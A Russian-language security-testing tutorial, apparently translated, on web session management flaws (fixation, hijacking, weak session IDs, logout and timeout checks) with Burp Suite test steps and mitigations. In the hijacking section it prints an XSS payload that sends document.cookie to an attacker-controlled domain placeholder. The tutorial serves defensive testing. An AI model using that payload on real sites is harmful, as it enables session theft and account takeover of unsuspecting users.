Что такое сеанс:

Как видно из названия, «Сеансы» поддерживают состояние взаимодействия пользователя с сервером. Таким образом, в приложении он начинается, когда пользователь входит в приложение, и заканчивается, когда пользователь выходит из приложения. Поскольку HTTP является протоколом без сохранения состояния, и сервер не может управлять идентификацией пользователя, сеансы используются для идентификации пользователя на сервере.

Зачем нужен сеанс?

Он поддерживает не только время, но и действия, которые пользователи выполняли на веб-сайте или в сети. Поскольку все мы знаем, что HTTP - это протокол без сохранения состояния, поэтому для поддержания пользовательского сеанса вещи должны поддерживаться на побочных сторонах (пользователь и сервер), пользователь включает идентификатор сеанса в каждый запрос, который отправляется на сервер, и сервер проверяет этот идентификатор по своим сохраненным идентификаторам.

Таким образом, всякий раз, когда пользователь входит в приложение, это приложение назначает идентификатор сеанса отдельному пользователю, этот идентификатор сеанса можно использовать для сохранения личности пользователя на сервере.

Сеанс - это серия HTTP-запросов и транзакций, инициированных одним и тем же пользователем.

Согласно бизнес-требованиям, мы должны установить тайм-аут сеанса. Если приложение хранит данные PII, тайм-аут сеанса должен составлять 5–10 минут.

Что такое управление сеансом?

«Для поддержания идентичности пользователя на сервере разработчик выполняет управление сеансом». В основном это поддерживается, когда пользователь входит в учетную запись, конкретная информация или токен назначается пользователю внутри файла cookie, который может использоваться для поддержки пользователя. личность.

После того, как токен сгенерирован, всякий раз, когда пользователь отправляет следующий запрос на сервер или следующая связь происходит между клиентом и сервером, токен отправляется на сервер, который может использоваться для проверки личности пользователя.

Его также можно использовать для проверки, активен ли сеанс пользователя или нет, есть ли у него доступ к определенным ресурсам или нет.

Примечание. Вся информация о сеансе, такая как время входа в систему и другие журналы, хранятся на сервере. У клиента есть только токен сеанса, который назначается как файл cookie.

Примечание. Также возможно, что разработчики создадут сеанс и для неаутентифицированных пользователей.

Есть два типа управления сессией: Cookie-base, перезапись URL.

Оба могут использоваться независимо или вместе.

Проблема с управлением сеансом

Проблема неправильного управления сеансом возникает, когда разработчики не могут реализовать передовые методы управления сеансом, и если управление сеансом не выполняется должным образом разработчиками, злоумышленник может воспользоваться им и скомпрометировать сеанс пользователя, что приведет к ATO (учетная запись перенимать). Некоторые общие проблемы управления сеансом

  1. Сеанс пользователя не истекает после выхода из системы.
  2. Назначен слабый токен сеанса с очень низкой энтропией.
  3. Если сеанс не поддерживается должным образом на стороне сервера, злоумышленники используют его.
  4. Неправильное управление сеансом приводит к захвату сеанса, и злоумышленник может выдать себя за подлинного пользователя.
  5. Это также приводит к уязвимости фиксации сеанса.

Итак, если сеанс не обрабатывается должным образом, это может быть критической уязвимостью.

Пример: предположим, что приложение назначает сеансовый ключ с очень низкой энтропией и это числовое значение, например, сеансовый ключ, назначенный пользователю 1, равен 00001, а сеансовый ключ, назначенный пользователю 2. 00002, поэтому злоумышленник может легко подобрать идентификатор сеанса и получить доступ к учетной записи законного пользователя.

Как проверить проблемы сеанса.

Фиксация сеанса:

Некоторые приложения назначают токен, как только пользователь посещает веб-сайт, и если пользователь входит в систему, тот же токен преобразуется в токен сеанса. Это представляет угрозу, поскольку злоумышленник может скопировать токен сеанса перед входом в систему, используя XSS или что-то еще, и если законный пользователь входит в систему, злоумышленник может использовать скомпрометированный токен для получения доступа к учетной записи пользователя.

Как проверить:

  1. Настройте браузер на любой перехватывающий прокси, такой как «Burp Suite», и просмотрите страницу входа в приложение, чтобы узнать, назначает ли приложение какой-либо сеанс или токен перед входом в систему.
  2. Теперь войдите в приложение и перехватите запрос, проверьте, назначен ли теперь тот же токен как тот же токен, какое-то приложение назначает дополнительный токен для поддержания сеанса, чтобы правильно протестировать удаление токенов один за другим из запроса и выяснить, какие токен используется как токен сеанса.

Взлом сеанса:

Захват сеанса происходит, когда был скомпрометирован сеансовый ключ легального пользователя. Компрометация сеансового ключа может происходить по-разному, в основном, если файл cookie не имеет атрибута httponly, тогда доступ к файлу cookie может получить клиентский javascript.

Как проверить:

  1. Злоумышленники ищут уязвимость XSS (хранящуюся / отраженную) в приложении и могут использовать эту уязвимость XSS для кражи файла cookie пользователя, полезная нагрузка, которую он может использовать,

‹img src =” x ”onerror = this.src =” ‹домен злоумышленника›? cookie = ”+ document.cookie›

По мере выполнения XSS cookie пользователя будет отправлен на сервер, контролируемый злоумышленником.

  1. его также можно использовать, отправив ссылку пользователю, используя социальную инженерию или что-то в этом роде.

Энтропия идентификатора сеанса:

когда токен сеанса, назначенный приложением, имеет очень низкую энтропию или пользователю назначается простой числовой ключ, например 00001.

Как проверить:

  1. Перехватите запрос и отправьте его на вкладку «Секвенсор».
  2. Затем нажмите «Начать запись в реальном времени», откроется новое окно.
  3. Sequencer будет много запросов на захват токена сеанса и сообщит вам, очень ли низкая энтропия сеанса

Сессия должна быть завершена при выходе из системы:

Сеанс должен быть завершен, как только пользователь выйдет из учетной записи. Вот шаги, которые необходимы, чтобы проверить это.

Как проверить:

  1. Зайдите в приложение и перехватите запрос с помощью любого перехватывающего прокси.
  2. Выполните любое действие с приложением, которое может быть выполнено только после аутентификации.
  3. Теперь выйдите из приложения и воспроизведите этот запрос, который был захвачен на шаге а, чтобы проверить, находимся ли мы в сеансе или нет.

Функция тайм-аута неактивного сеанса:

Он полностью основан на бизнес-требованиях. сеанс должен прерываться после 5–10 минут бездействия

Как проверить:

  1. Авторизовался в приложении в другом браузере.
  2. Не выполняйте никаких действий и оставьте сеанс неактивным на 5–10 минут.
  3. попробуйте выполнить любые параметры и посмотреть, истек ли время сеанса или нет

Смягчения

  1. Завершите все пользовательские сеансы после выхода пользователя из приложения.
  2. Токен сеанса должен иметь высокую энтропию
  3. Не отправляйте значения идентификатора сеанса в запросах GET, поскольку они сохраняются в истории браузера и также могут быть кэшированы.
  4. Использование флагов secure и httponly в файлах cookie, чтобы конфиденциальная информация не могла передаваться по незашифрованным каналам.
  5. Создавать новый токен сеанса всякий раз, когда пользователь входит в систему.